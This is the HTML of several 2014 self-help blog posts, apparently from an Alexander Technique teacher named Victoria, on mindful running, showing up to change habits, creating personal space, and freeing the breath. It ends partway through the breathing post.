<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="font-size: 14.0pt; line-height: 115%;">Still, the competitive-bug will come
flying and prying any time I lose focus. It will whisper in my ear: train
harder, run faster, run farther, make it worth your while.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="font-size: 14.0pt; line-height: 115%;">So I stop.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="font-size: 14.0pt; line-height: 115%;">I don’t have to “be somebody”, I don’t
have to win anything nor prove anything to anybody. Running is simply good for
me, for my body, for my psique.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="font-size: 14.0pt; line-height: 115%;">That bug is no more than a habit of
thought, a habit of my way of being. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="font-size: 14.0pt; line-height: 115%;">Therefore, when I recognize it for
what it is, I treat it like any other old habit.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">I
stop. I greet it like an old friend. </span><span style="font-size: 14.0pt; line-height: 115%;">And I let it go. I return to my body, to my breathing, to my
inner organization. I remember my purpose.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="font-size: 14.0pt; line-height: 115%;">Today my purpose was to run,
listening to my body, collecting my thoughts, following my breath. Only that
mattered. All the rest I could leave behind or watch them pass me by, as if
they were other runners in the race.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="font-size: 14.0pt; line-height: 115%;">I return to myself, to the wonder of
being able to run, to the sensation of moving. I return to the present.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">That
is all.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<b><span lang="ES-UY" style="color: #c00000; font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Victoria</span></b></div>
Anonymoushttp://www.blogger.com/profile/00071312518508900960noreply@blogger.com2tag:blogger.com,1999:blog-574841750375577755.post-42606080819174001392014-11-01T21:06:00.001-02:002014-11-01T21:06:51.828-02:00On Showing Up<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-JXRiPypaIZA/VFVnXWx4wnI/AAAAAAAAF90/Tq0MEtMfFw4/s1600/boy-447701_640.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-JXRiPypaIZA/VFVnXWx4wnI/AAAAAAAAF90/Tq0MEtMfFw4/s1600/boy-447701_640.jpg" /></a></div>
<span style="font-size: 14.0pt; line-height: 115%;"><br /></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="font-size: 14.0pt; line-height: 115%;">Hi. I’m here.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="font-size: 14.0pt; line-height: 115%;">I wasn’t sure about being here today.
I was bored and un-inspired. What could I possibly offer you of value today?<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="font-size: 14.0pt; line-height: 115%;">But <span style="color: #c00000;">Life
is about showing-up</span>, even (and perhaps especially) when it’s not all
fireworks.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: #c00000; font-size: 14.0pt; line-height: 115%;">Some things you build
one little step at a time</span><span style="font-size: 14.0pt; line-height: 115%;">.
Sometimes it’s the same step over and over again.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: #c00000; font-size: 14.0pt; line-height: 115%;">Changing habits works
like that</span><span style="font-size: 14.0pt; line-height: 115%;">. It’s not
something instantaneous. It’s something you build up by “saying no” to the old
and “saying yes” to the new, over and over and over again.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="font-size: 14.0pt; line-height: 115%;">And it all starts with showing up for
the work. Even if we don’t apparently succeed. Even if habit seems to win most
of the times. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: #c00000; font-size: 14.0pt; line-height: 115%;">You still show up,
because by showing up, habit has not won by default</span><span style="font-size: 14.0pt; line-height: 115%;">. By showing up, you’ve exercised <span style="color: #c00000;">your power to</span> <i><span style="color: #c00000;">choose</span></i>.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: #c00000; font-size: 14.0pt; line-height: 115%;">If you show up,
anything can happen</span><span style="font-size: 14.0pt; line-height: 115%;">.
Anything includes your habit. But it also includes every other possibility,
which gain strength with every time you show up.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="font-size: 14.0pt; line-height: 115%;">So, if you are thinking of giving up,
if you are too bored, tired, or depressed to care anymore… show up anyway. <span style="color: #c00000;">Just BE there, OPEN to anything that might come</span>.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="font-size: 14.0pt; line-height: 115%;">That’s why I’m here today. No
expectations. Just here… for me… and for you…<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: #c00000; font-size: 14.0pt; line-height: 115%;">Victoria<o:p></o:p></span></div>
<br />
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
Anonymoushttp://www.blogger.com/profile/00071312518508900960noreply@blogger.com0tag:blogger.com,1999:blog-574841750375577755.post-20863504711293389862014-10-24T15:11:00.001-02:002014-10-24T15:37:38.763-02:00Change is Bred in a Context<div align="center" class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: center;">
<span style="color: #c00000; font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">A blog about the importance of giving yourself space</span><span style="font-size: 14pt;"> </span></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;"></span></div>
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<a href="http://4.bp.blogspot.com/-hYzr_ZVJyZ4/VEp55hjuD5I/AAAAAAAAF9k/2pZ-q8ROGb0/s1600/poppies-384926_640.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-hYzr_ZVJyZ4/VEp55hjuD5I/AAAAAAAAF9k/2pZ-q8ROGb0/s1600/poppies-384926_640.jpg" /></a></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">Hello. Nice to see you here!<o:p></o:p></span></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Today I’m
starting a new series of blogs in which I mean to elaborate on <b><span style="color: #c00000;">the 6
principles </span></b>that I work from.<o:p></o:p></span></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">This is why, in
order to honor this new beginning, let’s take minute to center ourselves and
return to the present. With closed eyes let’s slowly and deeply breathe in and
out.<o:p></o:p></span></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Today’s purpose
is precisely that: to talk about this action of centering and returning back to
yourself. I’d like to communicate to you a bit about how powerful and
integrative this simple act of returning to your body before every new action
can be.<o:p></o:p></span></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">We’ll therefore talk about the <b><span style="color: #c00000;">Principle
of Context and Content</span></b>.<o:p></o:p></span></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">And since we’re going to be talking about returning to our bodies, it’s a
good idea to feel it a bit to begin with.<o:p></o:p></span></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">I invite you to yawn and stretch, move your joints a bit. Whatever makes
you become aware of the physical presence of this fabulous container: your
body.<o:p></o:p></span></div>
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<br /></div>
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<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">Ready? Great. First the
theory.<o:p></o:p></span></div>
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<b><span style="color: #c00000; font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Principle of Context and Content:<o:p></o:p></span></b></div>
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<span style="color: #0070c0; font-size: 14.0pt; line-height: 115%;">Context determines your
experience of the content.<o:p></o:p></span></div>
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<span style="font-size: 14.0pt; line-height: 115%;">This means that <span style="color: #0070c0;">how you do
something</span> has a direct influence on <span style="color: #0070c0;">how you
live it</span>. In other words, <span style="color: #0070c0;">the conditions</span>
in which you perform the action are fundamental to <span style="color: #0070c0;">your
opinion</span> of said action.<o:p></o:p></span></div>
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<span style="color: #0070c0; font-size: 14.0pt; line-height: 115%;">In terms of your
body-mind, context is determined by space.<o:p></o:p></span></div>
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<span style="font-size: 14.0pt; line-height: 115%;">It’s quite different to perform a physical movement with
space in your joints, than to do so in a state of compression and collapse.<o:p></o:p></span></div>
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<span style="font-size: 14.0pt; line-height: 115%;">It’s quite different to make a decision when you give
yourself space for thought, than when you’re hurried.<o:p></o:p></span></div>
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<span style="font-size: 14.0pt; line-height: 115%;">It’s a quite different emotional experience to get in a tiny
lift by yourself or with a close friend, than to do so with a stranger.<o:p></o:p></span></div>
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<span style="color: #0070c0; font-size: 14.0pt; line-height: 115%;">Minding the context
does not mean ignoring the content; rather it means giving the content the best
conditions for its manifestation.<o:p></o:p></span></div>
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<span style="font-size: 14.0pt; line-height: 115%;">The content (your ends) are the reason why you do stuff. If
you go to a talk on a subject that interests you, you do so because of the
information that will be imparted. In order to take full advantage of said
content, know yourself, know what suits you and what doesn’t, mind your
conditions. <o:p></o:p></span></div>
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<span style="color: #0070c0; font-size: 14.0pt; line-height: 115%;">Coordinating your
context is the first step in every action.<o:p></o:p></span></div>
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<span style="font-size: 14.0pt; line-height: 115%;">First we need to organize ourselves both internally and
externally; then we take action in the world. Certain people are born with natural
inner coordination. If, like me, that is not your case, learning to coordinate
and integrate your mind-body functioning should be a priority.<o:p></o:p></span></div>
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<span style="font-size: 14.0pt; line-height: 115%;">Enough theory, let’s get practical.<o:p></o:p></span></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">But first, let’s move a bit, shall we?<o:p></o:p></span></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">Interlace the fingers of your hands, rotate the palms outwards and
stretch your arms forward and up. Release the fingers and let the arms come
down slowly, drawing big semi-circles down your sides. Close your eyes and
shake your arms and shoulders.<o:p></o:p></span></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">Great. Let’s move on.<o:p></o:p></span></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">Today’s practical bit has 2 components:<o:p></o:p></span></div>
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<b><span style="color: #215868; font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 128;">1. Creating a Safe Space.<o:p></o:p></span></b></div>
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<b><span style="color: #5f497a; font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-themecolor: accent4; mso-themeshade: 191;">2. Stopping and Remembering Myself.<o:p></o:p></span></b></div>
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<br /></div>
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<b><span style="color: #215868; font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 128;">1. Creating a Safe Space.<o:p></o:p></span></b></div>
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<br /></div>
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<b><span style="color: #215868; font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 128;">a) Physical Space</span></b><span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">:<o:p></o:p></span></div>
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<span style="color: #31849b; font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 191;">The place </span><span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">where we perform our activities is importante for
our sense of confort, security and freedom. All our senses are involved in
this.<o:p></o:p></span></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">- Look around and check if what is in your visual field is pleasing to
your eyes. </span><span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">What about the sounds? And the physical sensations? Smells? Company? </span><span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">Adjust whatever you need to feel safe and at ease.<o:p></o:p></span></div>
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<br /></div>
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<b><span style="color: #215868; font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 128;">b) Body and Mental Space</span></b><span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">:<o:p></o:p></span></div>
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<span style="color: #31849b; font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 191;">Your skin,
your muscles, your bones, your organs, </span><span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">all of them give you consistency, limits and support, as well as fill up
your internal spaces. Learn to become aware of them with any of the following
ideas:<o:p></o:p></span></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">- Feel your skin by caressing it all over your body, in all the nooks,
crannies and crevices. Alternatively you can do so by showering, taking a
bubble bath, or standing in the breeze.<o:p></o:p></span></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">- Check out some anatomy images where you can get a general idea of your
bones, muscles and organs. Give yourself a loving massage while you palpate the
different bits, becoming aware of their consistency, elasticity, density. <o:p></o:p></span></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">- Alternatively, try out some of the self-observation exercises I give in
<b><u><a href="http://vstanhamalexandertechnique.blogspot.com/2014/10/going-back-home.html" target="_blank">this blog</a></u></b>, or <b><u><a href="http://vstanhamalexandertechnique.blogspot.com/2014/10/the-3-key-areas-for-deep-and-free.html" target="_blank">this one</a></u></b>.<o:p></o:p></span></div>
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<br /></div>
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<span style="color: #31849b; font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 191;">Your
thoughts </span><span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">also have a quality
and consitency, get to know them and note their effects in your body.<o:p></o:p></span></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">- An excelente practice to discover the workings of your mind is to try a
simple mindfulness meditation, following your breath.<o:p></o:p></span></div>
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<br /></div>
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<b><span style="color: #215868; font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 128;">c) Personal Space</span></b><span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">:<o:p></o:p></span></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">The space that surrounds you is also part of your personal space. It pays
to recognize it and inhabit it.<o:p></o:p></span></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">- Notice how it expands and contracts depending on the circumstances. What
determines its expansion or contracting? Can you do so voluntarily?<o:p></o:p></span></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">- If you are sitting, note how you can integrate the chair to your
sensory system and “feel” where its legs touch the ground.<o:p></o:p></span></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">- With your feet on the ground, note how you can be aware of the floor
not only right under your feet, but also around your feet. </span><span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">How far can you “feel”?
<o:p></o:p></span></div>
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<br /></div>
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<b><span style="color: #215868; font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 128;">d) Shared Space</span></b><span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">:<o:p></o:p></span></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">We share our spaces with living and non-living things.<o:p></o:p></span></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">- Note how you react when something or someone comes into your personal
space. <o:p></o:p></span></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">- Note how others react when you invade their personal space.<o:p></o:p></span></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">- Note if it makes a difference when permission to share space is
requested and granted, both in yourself and in others.<o:p></o:p></span></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">- Ask someone you feel comfortable with to take your arm and move it
around, while you keep your awareness in your inner and outer spaces. Do you
contract away from the contact at any point?<o:p></o:p></span></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">- Switch roles and move your friend’s arm around. While you do so, be
aware of your inner and outer space, integrating your friend’s space in your
movement.<o:p></o:p></span></div>
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<br /></div>
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<b><span style="color: #5f497a; font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-themecolor: accent4; mso-themeshade: 191;">2. Stopping and Remembering Myself.<o:p></o:p></span></b></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">During any of the
above practices you’ll notice that at times your attention has wandered off the
task at hand. When you do so it’s time to stop and come back to yourself. <o:p></o:p></span></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Returning to
yourself is returning to your inner and outer spaces, it’s creating space for
yourself and being aware of it.<o:p></o:p></span></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Returning to
yourself is how you take care of your context, so that your experience of life’s
contents is as enjoyable as possible. <o:p></o:p></span></div>
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<br /></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Well, that’s all
for today.<o:p></o:p></span></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Today’s was a
longish blog. If you’ve read this far you surely need to move a bit your body
again. Let’s yawn, stretch and shake like a wet dog one last time.<o:p></o:p></span></div>
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<br /></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">That’s better. As
usual, any doubts, questions or comments you are welcome to leave them in the
space for comments below.<o:p></o:p></span></div>
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<br /></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Let’s breathe
together one last time. In… Out… Ah!<o:p></o:p></span></div>
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<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Thanks for
stopping by.<o:p></o:p></span></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">See you next
time.<o:p></o:p></span></div>
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<br /></div>
<br />
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="color: #c00000; font-size: 14.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Victoria<o:p></o:p></span></div>
Anonymoushttp://www.blogger.com/profile/00071312518508900960noreply@blogger.com0tag:blogger.com,1999:blog-574841750375577755.post-13414359317370958472014-10-11T10:46:00.000-02:002014-10-11T10:46:28.610-02:00The 3 key areas for deep and free breathing.<div align="center" class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: center;">
<b><span style="color: #c00000; font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">A blog about how to free your breath.</span></b><span style="font-size: 14pt;"> </span></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-Pc1pB1Da36Y/VDho-KArkAI/AAAAAAAAF84/OPCbqqHAydk/s1600/stretch-63869_640.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-Pc1pB1Da36Y/VDho-KArkAI/AAAAAAAAF84/OPCbqqHAydk/s1600/stretch-63869_640.jpg" /></a></div>
<br />
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Hi! Nice to see
you again.<o:p></o:p></span></div>
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<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">How did <b><u><a href="http://vstanhamalexandertechnique.blogspot.com/2014/10/going-back-home.html" target="_blank">last week’s space-creation exercise</a></u></b>
go? If you have any questions or comments about it, feel free to write them
here in the blog, or send me an <b><u><a href="mailto:vstanham@gmail.com" target="_blank">email</a></u></b>.<o:p></o:p></span></div>
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<br /></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Let’s start with
today’s work by coming back to our centers. Shall we?<o:p></o:p></span></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Let’s stop with
whatever it is we were doing and just breathe, allowing the air to reach our
feet and ground us. Let’s now exhale allowing the air to flow up from our feet,
through our pelvis, tummy, chest, neck, and out the top of our head.<o:p></o:p></span></div>
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<br /></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">The subject of
today’s blog is <b><span style="color: #c00000;">how
to liberate our breath</span></b>. I mean to share with you <b><span style="color: #c00000;">three areas in
your body that it’s worthwhile to have free of tension</span></b> in order to
facilitate the intake and outflow of air.<o:p></o:p></span></div>
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<br /></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">In order to
perceive the areas I want to tell you about, it’s a good idea to start by
creating a little bit of space in our joints. Therefore, I invite you to yawn
and stretch a little, like a cat or a dog after a nap in the sun.<o:p></o:p></span></div>
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<br /></div>
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<b><span style="color: #c00000; font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">What do we need to know about breathing in order to
free it up?<o:p></o:p></span></b></div>
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<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">1. Breathing has an effect and is affected by all
your Self (principle of<b><span style="color: #215868; mso-themecolor: accent5; mso-themeshade: 128;"> Unity</span></b>).
When your body is free of unnecessary tensions, your breathing generates a wave
like motion that can be felt from your head to your feet, and which massages
all the inner organs. Breathing is also a superb barometer for your mental and
emotional states.<o:p></o:p></span></div>
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<br /></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">2. Breathing “happens”,
it “does itself”. If you don’t interfere with the mechanism by tensing up, it
works without effort or strain, and without having to think about it (principle
of <b><span style="color: #7030a0;">Design</span></b>).<o:p></o:p></span></div>
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<br /></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">3. Even when you
do not allow it to work freely, you still breathe no matter what. However, all
the added tension affects the efficiency of your breathing (principle of <b><span style="color: #0070c0;">Use</span></b>).<o:p></o:p></span></div>
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<br /></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">4. When you realize
that your breathing requires movement of your ribs (which means movement in
your sides and back, and not only in the front of your chest) and that it
generates movement in your belly, you can start to imagine which areas need to
be free to be moved by each inhalation and exhalation (principle of </span><b><span lang="ES-UY" style="color: #8064a2; font-size: 14.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-themecolor: accent4;"><o:p></o:p></span></b></div>
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<b><span style="color: #8064a2; font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-themecolor: accent4;">Perception</span></b><span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">).<o:p></o:p></span></div>
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<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">5. Since breathing “does itself”, you do not need
to “learn to breathe”. What you need is to learn how to stop interfering with
your breathing mechanisms (principle of <b><span style="color: #31849b; mso-themecolor: accent5; mso-themeshade: 191;">Means and Ends</span></b>).<o:p></o:p></span></div>
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<br /></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">6. And now that
you know that breathing happens by itself, next time your asked to “take a deep
breath”, you know you need to stop your desire to make a huge muscular effort
to suck in a lot of air. Instead, give yourself a few seconds to become aware
of the areas that need to be freed up to move freely and thus create more space
